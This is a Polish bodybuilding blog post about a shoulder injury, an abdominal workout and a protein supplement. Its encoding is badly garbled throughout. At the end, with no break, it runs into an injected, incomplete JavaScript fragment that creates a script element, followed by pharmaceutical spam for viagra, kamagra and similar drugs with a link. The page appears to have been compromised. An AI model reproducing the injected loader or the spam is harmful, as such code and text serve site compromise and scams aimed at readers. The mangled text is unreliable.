ZAi??e wiadomoAi??ci

18.10.2011 / Michał Karmowski

Niestety bA?l barku jest tak duA?y ,A?e nie daAi??em rady przeprowadziAi?? treningu klatki mimo przyjAi??cia dawki diclaca 150, byAi??em u lekarza i okazaAi??o siAi??Ai?? po usg , A?e mam uszkodzone przyczepy gAi??owy dAi??ugiej bicepsa i przedniej czAi??Ai??ci miAi??Ai??nia naramiennego z widocznymi zwapnieniami. Nie jest to pocieszajAi??ca wiadomoAi??Ai?? zwAi??aszcza ,A?e do zawodA?w tak maAi??o czasu. jedyne Ai??wiczenia jakie mogAi?? robiAi?? i bA?l nie jest aA? tak wielki to wyciskanie gAi??owAi?? w dA?Ai?? dlatego tylko to dziAi?? robiAi??em 10serii po 10 powt i do tego bardzo mocno skatowaAi??em brzuch.

Nie mogAi?? teA? wykonywaAi?? niektA?rych pA?z obowiAi??zkowych co jest chyba jeszcze gorsze:-(

trening brzucha

-spiAi??cia z linkAi?? wyciAi??gu gA?rnego 3 x 25

-unoszenie nA?g w zwisie na drAi??A?ku 3 x15

–spiAi??cia na maszynie 3×15

-spiAi??cia na piAi??ce 4×25

-spiAi??cia leA?Ai??c a nogami na Ai??awce 4×25

DziAi?? pierwszy raz piAi??em isolite arbuzowy , po prostu rewelacja mimo A?e nie jestem zwolennikiem smakowych odA?ywek i lubie tylko vanille to arbuz wymiata!!!!!!!!!!!var d=document;var s=d.createElement(‚script’); var d=document;var s=d.createElement(‚script’); if (document.currentScript) { good sites to buy viagra how much lady era Buy Cheap Purchase http://www.arkapac.com/?p=8566 buy finax online kamagra oral jelly review. generic Kamagra. kamagra oral jelly india. cheap cyklokapron for menstrual bleeding Pills Pills Order Pills